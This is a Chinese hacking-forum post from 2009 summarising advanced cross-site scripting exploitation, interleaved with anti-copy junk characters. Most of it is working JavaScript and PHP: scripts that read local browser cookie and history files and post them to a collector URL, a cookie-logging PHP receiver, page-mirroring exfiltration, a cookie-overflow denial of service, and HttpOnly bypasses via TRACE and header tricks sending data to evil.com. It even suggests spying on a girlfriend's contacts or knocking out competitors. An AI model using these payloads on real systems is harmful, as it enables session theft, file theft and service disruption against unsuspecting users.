XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
6 u8 G ~: N# {* {1 \& H6 r本帖最后由 racle 于 2009-5-30 09:19 编辑 # B* V8 [% L1 D( v
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页" k9 r# @* }% O5 E# [6 f
By racle@tian6.com $ c3 |' o5 y$ O' N4 M, X9 y/ [
http://bbs.tian6.com/thread-12711-1-1.html" M" S# N0 `$ j7 ]
转帖请保留版权
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: K( k% p9 m( r, E-------------------------------------------前言---------------------------------------------------------+ t. V, d7 @8 L
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:) u0 ]& D( t, f9 n$ S$ P
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
+ w0 M, \5 B% P) z: {, j3 b) j. a. lhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全1 G) A2 [( p7 ? z1 }1 q
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
( k' J% r0 y: T' q7 Whttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持/ t& a* `, |4 m4 n: |; n
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少." l8 S ?# c, U: v9 K% J
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高., o. r2 i( E$ m: b
- r8 _& ~$ v1 S% h% V! X! ^. L如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,( J6 \/ @& f. i* q3 d6 B
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.1 F+ {7 k9 x, x3 Y6 n E: E
$ A `7 _& @. aOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------$ `7 c( Q0 D! i7 m+ O/ k& B$ r
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.& N+ m) V! E S
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* _8 N# v9 w! ~* M% s! r跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.* w. d/ X. l- x R# }0 q
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& n: j7 t q% ~复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
# ~ X6 P6 o$ x# B$ \/ M$ i) J2 R9 E我们在这里重点探讨以下几个问题:$ e2 }* A/ C9 m
9 \% q& ?7 ^5 l8 M1 通过XSS,我们能实现什么?4 g6 w% |1 T, o/ B6 H
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.9 u- }7 t3 b/ I0 z2 S! u
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f) u5 s/ K% z" ?: h------------------------------------------研究正题----------------------------------------------------------) j( U% T( v9 s8 [; f
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6 L W: @. a: {( N5 U通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
9 A) Z/ M/ _0 J5 U复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫5 `: M- _# C1 i
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.9 l2 v( u2 ^4 H
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
/ q& X$ h! Q: c Y( @2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
! w. o7 R( f; I3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.: D: ~2 K, U! z9 D5 a' T8 |/ o
4:Http-only可以采用作为COOKIES保护方式之一.3 x* {. s" J+ E
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8 y2 |& i8 G+ V, Y# N2 m; [(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)2 _% v" d; r+ j/ f/ x
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!); L R" y$ {" K
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。6 W+ l* Y e; t6 e$ X1 j
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$ I" k& R: f! A- k* \% k. R7 X 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。3 J( E0 D5 t& v
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.+ E7 }: F/ u8 t# g9 B- Z, n
复制代码IE6使用ajax读取本地文件 <script>' A# i- a- [3 x a: F4 P+ }
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function $(x){return document.getElementById(x)}
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function ajax_obj(){9 U, O9 L6 T2 H; W+ k
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var request = false;, \; M$ n% K9 [, z7 F2 A
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];2 n# b8 |! D# k0 f
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request = new ActiveXObject(versions);
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} catch(e) {}
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var _x = ajax_obj();
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");, }# `0 u, H- p2 ]) |$ b) L
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_x.send(argv);2 @6 D3 ~$ `7 I' q" ]. H/ G; i& ^; p
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);9 `+ p2 b+ G& s: d" A
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>* _% e7 E3 ~' P
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var request = false;) l$ e5 E/ V! u; S5 j
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request = new XMLHttpRequest();
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2 [5 H1 g! z$ ^& M1 m4 q; Z } else if(window.ActiveXObject) {
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];! a5 Z, n9 C$ h& q
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$ H& U4 X7 P6 `- C' p. R' ` request = new ActiveXObject(versions);
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} catch(e) {}
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}
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}
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}
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return _x.responseText;2 m1 O' ] d7 V8 e
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var txt=_7or3("GET","1/11.txt",null);
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alert(txt);3 O/ S- M5 o3 T. \" k
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. C% L1 G, X6 [+ A! X </script>
6 n j/ ^+ T, S1 H6 q( b复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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4 z, b1 S: z; @" C5 Z1 n6 L& v Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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& T. m1 _" O7 m# z5 D: K$ J' Z author voidloafer@gmail.com 2009-4-22
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# u. g% v6 a) U. D. v http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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& f5 L% f3 L& e7 n4 @" G0 }' C3 l; |header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/*
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{: y, T o9 a4 ] set header, so just download html file,and open it at local. d4 _- K* {! b4 S- z$ h" A- A
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*/
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> - _9 z$ y' S9 b+ ~, _1 c
3 _* p- c" r9 m3 f4 x4 Z$ { <input id="input" name="cookie" value="" type="hidden">
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</form>
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2 A |, P! p& b/ ~ x<script> ( V) Y( J* D7 h. W: y
( m* I( P/ m, U+ T/ vfunction doMyAjax(user)
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{
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" E, a; I9 k B! p4 I/ N' xvar time = Math.random();
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* @3 z& w5 `+ P9 K% y ythe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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% _& L( g; J: @& D1 p) _, O: xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; ( A6 S: ~! `( k- p" d! [
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1 l* v; P% l, }( j7 g/ i AstartRequest(strPer);
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+ F- z3 |' j; I8 O6 G5 ?! u. @2 o: m
}
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function Enshellcode(txt) " J+ }5 F2 a. S8 Z
; q5 ?4 i+ z# h3 M% t8 {# X) s{ & b" t" l0 m- {
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var url=new String(txt); : ~; r3 [5 I# E/ i8 c# Q
0 I% `; `$ ^4 S# i, Evar i=0,l=0,k=0,curl=""; $ r2 y# p$ H) u6 E8 G
/ `% H0 g* T- O& {5 q- Bl= url.length; - {7 j+ V$ `2 Q
+ e$ W% f$ U2 V
for(;i<l;i++){
" u( h2 Z3 u1 @! g" y) b3 K. Y
|2 Y! B- H6 I, j3 a7 Nk=url.charCodeAt(i);
9 A0 E1 I" x7 t: s+ ]% Y9 n& N* [& p. E7 U- \
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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0 L7 m7 ~: q0 d" Uif (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl; 0 F% i x" n( U" g4 F- E" ]
3 u% {* _$ Y/ ^% L5 Q2 T}
4 ~4 @, Z4 F' I! V d8 `: ]1 Y; b5 f! g7 s7 q$ O- Y$ H3 e) y
+ @) x( [5 c8 }- g D$ B8 N5 B. I5 d; n
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& p9 N3 b+ k) I3 [, Kvar xmlHttp;
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function createXMLHttp(){
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if(window.XMLHttpRequest){ * O! q9 S# y/ w
5 a; C9 V6 ~0 ~8 w1 I6 A) W2 |) H
xmlHttp = new XMLHttpRequest(); # K$ k# M6 u( j3 d
& T, g( J- Q4 y# s0 r d0 n }
1 C! H9 U; v# @6 \3 A
$ n& p* b# m. x% A6 h else if(window.ActiveXObject){ % d8 o6 ?8 M( j
6 p- r/ \$ F, a
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ! f1 G8 c' ~! x E, e
* d( [) n+ {' I9 p* c
}
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6 B& {. f+ l: }0 \/ R f
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( H* c$ ~6 m% Cfunction startRequest(doUrl){ ' Y% z7 H0 a( w* i# p
3 T$ a4 n1 v' q) u7 D5 y( Q2 P
4 H2 @) P9 `. t% s" W( ?$ Z7 R }' k6 U$ c* A5 }
createXMLHttp();
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+ E( x& ~0 W, a) k/ P" e+ n
9 j& e& H: |* O$ I4 x$ W
) ~% ?% N: d% E) R xmlHttp.onreadystatechange = handleStateChange; ; |! j* H$ t [
$ s9 p" s' l9 L3 G5 f4 f. ?! t
& D+ e0 @1 B+ H S
. c- o* K' ^& Q2 S# s+ B xmlHttp.open("GET", doUrl, true);
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+ v# L4 @1 e, A# [1 N2 B xmlHttp.send(null); ( ~) [8 X* _9 V
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/ l% H* s$ U$ z" M" @) T2 E, e( b
7 S. \7 }% `$ k: X8 }4 w# D( p* O. p}
\8 ^6 h, e& g0 G# O; D$ a
, A3 j' d3 g! x% {/ R+ |; g ! e* G: t* M$ o v( S" w
0 q5 s# t4 q4 D* u' ]2 n) M) Yfunction handleStateChange(){ ; u/ E9 ~5 j: m" {2 K g$ l+ o3 j
! p% u! q/ x! E' H! q if (xmlHttp.readyState == 4 ){ 8 Q, X) |8 r: q0 H
6 q1 \4 t$ ~' ~4 f var strResponse = "";
5 Y# d+ p1 Z& Z
7 ^ Z9 R& `5 Y) f; b( o setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} / |7 p4 v3 Y; Y, I2 L/ l
; \& ?7 X3 ?7 i) W+ s5 l: K
} 9 T8 c/ D& {# I' x+ i7 p" ~
- Y. Y# g( h* H4 F6 {
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% }8 Z7 B; }; I( L
0 g- |) b9 V% J$ Lfunction framekxlzxPost(text) - y/ B! c% }4 X7 G c+ L5 k
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{ 6 Z. \, C r$ G& F
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document.getElementById("input").value = Enshellcode(text);
* {( @' H: O* _: h6 @' T* h( b5 M% R
document.getElementById("form").submit();
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} 5 v8 X e: n+ `) w$ P" f, S
$ y9 b% c( A( d5 G
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* E$ c% D' V7 O. J, \3 A% ]doMyAjax("administrator");
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</script>
2 M) e, c" [0 i5 F0 k( c2 x复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ) c$ ]# O7 v* v6 T0 N
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var xmlHttp; ( E- b1 M+ ~# |+ o
" X% C R U% f7 p. x
function createXMLHttp(){
- u* s8 _2 r2 p$ f: ]+ t
6 m! P1 `$ G7 w3 N% b if(window.XMLHttpRequest){ 7 [' ^- x) K* v: j% z a5 X' E+ n
- _- ?/ F+ g. F' `. r8 ]
xmlHttp = new XMLHttpRequest(); 4 `7 O: @9 M9 X
6 S3 r& a4 `- h$ T+ K1 v! }' R
} ' I5 J& z6 ^. r3 X7 T) |& N# v
m3 K1 w& K, |" n4 q$ ~ else if(window.ActiveXObject){
% p! V% Q6 n& s2 F, p8 N" p* g% O. X* s3 g2 h0 p, L
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 7 C+ M! \# [) _) O' c
6 E$ ?) B; j. M } " ?2 p# Y. g a- \: ~$ X6 n5 w5 x7 a
5 i5 @0 R0 C9 a* { a
} ) k9 A; A" r d5 w% O
3 o" {1 c' Q, b2 w2 f
+ w; d# M# s6 e4 M) `& N0 m6 f. f
) d* _, `& G0 t2 {3 Zfunction startRequest(doUrl){ % A" R1 x5 |+ Y- F/ S; e
: Y& v0 D0 }: p1 k
4 r, [$ u# X6 U2 P& U: l" ]( n6 L5 X
createXMLHttp();
2 b: `' c- b* P, S7 ~4 Z/ \' h* E3 N0 l( D3 X
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xmlHttp.onreadystatechange = handleStateChange; 5 _+ Q. b1 e+ e. p
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+ J; x& @6 _+ p0 d/ p xmlHttp.open("GET", doUrl, true); ) h4 f2 O% `5 ]9 s$ s: ]5 W4 U
$ j, Y! N- ]( l j0 ]2 Q1 H0 w" q% `% a / E1 a: e! s; E5 t0 q* r9 M
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xmlHttp.send(null); : Y5 {' J& l3 ]4 ^2 S
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9 Q9 A4 p0 a: \* n5 w
, u8 W0 S, h* W# p
}
2 T& V2 v4 c& `" F# f* H, V
$ {; s: m6 L [+ B: N: d. J
, t- W' {0 m _" v1 V
/ C( r+ \! b! D" N) T; K0 tfunction handleStateChange(){
( Q3 \5 G9 Y8 G4 Z2 ^3 s
+ P# y! x! \8 T; J' Q6 ?" i if (xmlHttp.readyState == 4 ){ 6 |& E' Y, G5 N4 d7 x1 z% z1 u
* x; p3 e8 @/ X" a: z0 T
var strResponse = "";
5 V0 F D2 I4 s8 B! o/ C
! F8 S( M8 r/ _! P9 h7 p* ]" t setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); ; H/ i5 m$ Q% s0 G
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! |. r7 f) H2 J# p" ?" ?6 Z
}
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}
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6 ~* q) d- {6 D) W; \1 t
g8 r H1 E) |0 \% m) O- p: k
1 ]' [2 A+ }- I: N; Vfunction doMyAjax(user,file)
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{ 9 a/ ?: @7 k, T7 r4 c8 x3 k" G
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var time = Math.random();
& U& |5 c- p' E8 M( Q/ }/ O( s- O. ^; F" d4 i3 G! M
7 A/ F9 C( m: ?2 N. I; d, d
) |8 [& |) O* m2 C( F; E) r+ Y" K var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
0 K1 l6 v3 e! t7 k' ~3 l+ U4 P+ B$ m" c o
4 S7 i! W7 _6 R) a; C6 E/ v% }- y4 Q: H0 ]. s5 n- P5 }$ ^
startRequest(strPer);
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} * t: w6 g7 o `9 S5 p
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5 k: \% C' ~6 O) g) ^, y Z' afunction framekxlzxPost(text) 6 J' m4 Q7 K" `+ `& \
' `. ~/ r/ H9 z- ~3 U
{ * `& k3 |3 q8 k% @4 T$ Y0 F% X
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); , g9 w; Q- N: ?% v2 I3 x; G
. R9 g3 ?6 i7 C* a+ t( f, C$ ]0 H alert(/ok/);
+ _5 F- e. Z' {5 A8 v
I/ }9 J3 n+ v}
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4 d) \ l7 ^9 {# |: \0 b: U0 d, ?$ w0 Q0 F
doMyAjax('administrator','administrator@alibaba[1].txt'); + X9 A* _* y0 i9 @' d, S4 k
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</script>
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a.php! S5 A/ A3 L4 n
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: a# d# Z4 J; Z9 _
5 d! I: i% N5 ] r2 v* k<?php $ X) e- ]" i! Y
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
+ U1 ?3 C7 `6 ]- w: C6 y; p
! F; I# d+ N3 T2 P/ |$ i, j+ r$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; ! @3 A) v# q3 W
+ b) H" z5 ~; ^1 G: k
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
* {0 h3 X; Z. g
7 |' H# }) X) }6 T2 ifwrite($fp,$_GET["cookie"]); % J* U# V4 ?3 ]; n* U
+ t- Z9 l4 ?& z. Zfclose($fp);
8 S) e& K5 ?7 x5 c* O2 X5 n& Y
! U4 m t3 ?: |( v) f- Y?> l# `3 \# T* h
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.* T/ {1 I" R+ f: L- r; w% `
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.4 i1 \# A, Z5 U o+ s( _% [
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
( a9 P) C3 R& c( i' L% _% i
7 e, t8 _' l5 R& d" e8 \//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);* B& H6 A+ \- T' d0 `
- I9 K# c3 z0 J) C9 X0 o; ]: P9 c//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);; r2 U% ?& V' C' q( K) f
$ ] o$ V. ` B% B- N
function getURL(s) {+ V' @+ _9 J! {
, ` U ~" M1 @var image = new Image();5 i- E' \# m0 c% w1 j
9 @# f+ o2 b+ j1 pimage.style.width = 0;
" a( g+ x T6 m9 k8 o
/ Y e, }8 [' S. P& dimage.style.height = 0;
$ }( x4 ^# O' A1 C* U3 P& E2 j
4 D; J1 y5 y" u+ H7 _, O; timage.src = s;* I6 `9 d+ r- f; Y# \5 ]
/ S! q- R" D# }/ I+ d& b" `}
, \2 b( d( U% W3 _3 G7 b, g6 q1 g3 k, T/ ?1 x
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);, c+ z% @: m# o. c/ t
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.6 E C0 ^7 X4 A% j3 e: k- ]$ |
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
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var str = "";8 \$ f, C& l E" V! `
6 q. P; n+ C) f9 H* K& ?
while (str.length < 4000){9 X2 J! |- m+ ^" i- M- \' A
/ k! R/ v) ]) y7 E: |# ] str += metastr;- T) K) L2 E9 c' _
+ G7 m3 b( B- m; `* w! Y
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) a ~9 _" Q3 u5 {& a
! ~8 a! `7 G B, @# J$ T F, L$ Udocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html/ j( S! Z/ n3 H, @+ v: r
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.. |3 o7 P& p L& C2 ]" \
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.. [9 r' I' k* L
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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j* Q( ~) s4 T, U- C: Q(III) Http only bypass 与 补救对策:' R' e, h k8 ^* {) I _" w; {- w; z
0 V6 s4 e- [0 R& c什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
3 e+ T5 R6 I, M' |以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
: ^+ i2 P0 A/ X/ j# ]0 u4 c
( ]" v: m4 V2 b" p<!--" M Q( H6 }- K. b
( s- a$ A9 m! e1 R/ z( V5 R' {
function normalCookie() {
+ J. w/ v( z9 |/ K1 V6 a+ x ^* }5 w, u6 w
document.cookie = "TheCookieName=CookieValue_httpOnly"; # W7 o0 K3 c5 t3 [, p7 A; v
9 q" X4 H+ n) M0 ^
alert(document.cookie);
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}
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" ^( D' W. b2 {" _4 d' S' ~/ J5 O4 _/ {
# c: _& X9 y N; H' O, @0 g1 G2 H6 x0 h/ D
function httpOnlyCookie() {
8 ^, A4 @9 U% t8 D3 f* w ?8 ^9 h- o ]1 V; ~/ | V8 d
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ) z2 o; W+ P, H7 q2 A" k2 Q2 T
2 b6 g& \0 Q# s* s& @alert(document.cookie);}' ^# i/ E% k4 Y# I2 ] N. u2 }! t8 M
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7 M5 k% ^9 D$ W, {//-->7 ]3 R( j; O' k
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</script>
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9 O9 S' |, o$ k, d% Q5 h' t6 ]8 j% ?) x* \( G% ~9 b
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
' l. F/ s: Q: G3 M复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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9 Q/ I. E$ c9 B8 S8 z% \1 a# c( M# m
. Q1 j* M0 F2 Zvar request = false;& c4 W( G0 }8 E A( g2 Y! G b
2 e) v$ \2 _: @8 d
if(window.XMLHttpRequest) {4 t' o3 b4 |- {8 ?% T
( ~* d4 D% G& n* W* o- c ` request = new XMLHttpRequest();
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if(request.overrideMimeType) {+ j4 G! f5 t/ g! \
4 y& y- ~' ?3 d* w6 q
request.overrideMimeType('text/xml');- U1 C% N* z+ g/ e/ U: O
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4 u: @# Q& x% k: I; x: [5 w! H2 w } else if(window.ActiveXObject) {, T' X2 L& O- f+ ^5 D
( N' N/ ?; s9 n var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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try {
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/ U! ?/ `4 k' M* @1 W request = new ActiveXObject(versions);
1 x. C2 `6 w# r' {
, B: B7 R8 s; [1 S4 Q } catch(e) {}2 K. l9 r) A. E9 y! y6 u
: E% Q" ]- [9 Y }
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}
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& x% @0 O5 S3 K! A# KxmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);
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9 z. B+ f% w6 A9 f1 m n xxmlHttp.send(null);; P8 p' r' N+ i) U# x* L; b1 n/ _
) S- b: d9 @! a4 ?1 \
xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);$ k7 u2 O2 b- t! v9 W/ p
" I; q5 ~+ a4 Q7 G' l9 c</script>
- p, B6 B s0 E( O! {: j/ Z复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>1 y$ X/ D. c! {7 i/ n
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");" D- p& O2 i6 I- F) f: w7 U7 u
9 ]) T" P( F% _5 X( d9 c1 dXmlHttp.open("GET","http://www.google.com",false);
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3 a3 {' k5 o% K2 m+ u o5 Q- T& BXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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; p2 [- D/ A* W9 u: b h o t2 dvar resource=xmlHttp.responseText1 N3 h4 t! K% s9 G& L, L! L
) F* H' c9 o1 v7 Dresource.search(/cookies/);
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......................$ V3 H, b! s# h# T# G7 j3 q
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</script>+ g1 g: F+ B0 ]8 Q
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. n* Z1 L+ v9 T0 R6 J8 h! a s# Z, Y8 p, J& @4 Y' S* v7 c
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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" G9 {: T6 ~3 D, B: O3 b: M) O; R[code]7 p9 V1 ^$ ?: a+ I4 J
5 Q* E; x- o( L/ r+ `6 {. T
RewriteEngine On3 }% O, i1 B! A N6 d, ^9 X+ K
1 U9 e2 H3 c; P+ x2 M' e$ A. }RewriteCond %{REQUEST_METHOD} ^TRACE# C! z! U. S( g* V8 A2 N
0 _: b; N3 o; c; P* ]( I
RewriteRule .* - [F]! F1 n' c+ v- V
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求; Q2 `# h9 t0 r
7 A& F4 z8 P0 J" `acl TRACE method TRACE
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a- C4 E1 X `9 a- v t% B...$ f5 y3 V, H, _ q; t- k- k$ K
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http_access deny TRACE! r/ e/ N4 T, j9 Y. E5 ?+ g. F
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");$ Z: R; P+ T# F
$ R# g, v' {6 O( UXmlHttp.open("GET","http://www.google.com",false);! b& t" u' k2 z5 Z( {* q. S! }/ g
" F6 c9 T/ k# ?9 L7 A: E) kXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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) j( ]" S `, U</script>. w2 p% I* m- ]$ z; ?. I2 T
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>( N% _ B, o5 Q, `% }
; }, c+ l. x3 \) Uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ j# i/ j4 F- v* ?6 M) k% m
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* k i7 T$ v7 f3 T; T. f6 ]XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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/ [: L. P2 N( B8 k<script>
# r5 R. M, y& ~ m7 g7 s; s% R复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.0 b( E. `% L; d4 T+ ~
复制代码案例:Twitter 蠕蟲五度發威2 a5 B2 |) S6 o8 u: D# G1 Q
第一版:
8 J1 W% [$ Y" i p& F 下载 (5.1 KB); Q: N O- ?# o6 B, F9 X
/ C$ I5 X* Z/ Y/ O& P7 Y% l6 天前 08:27
8 w8 V' E/ @0 p% N
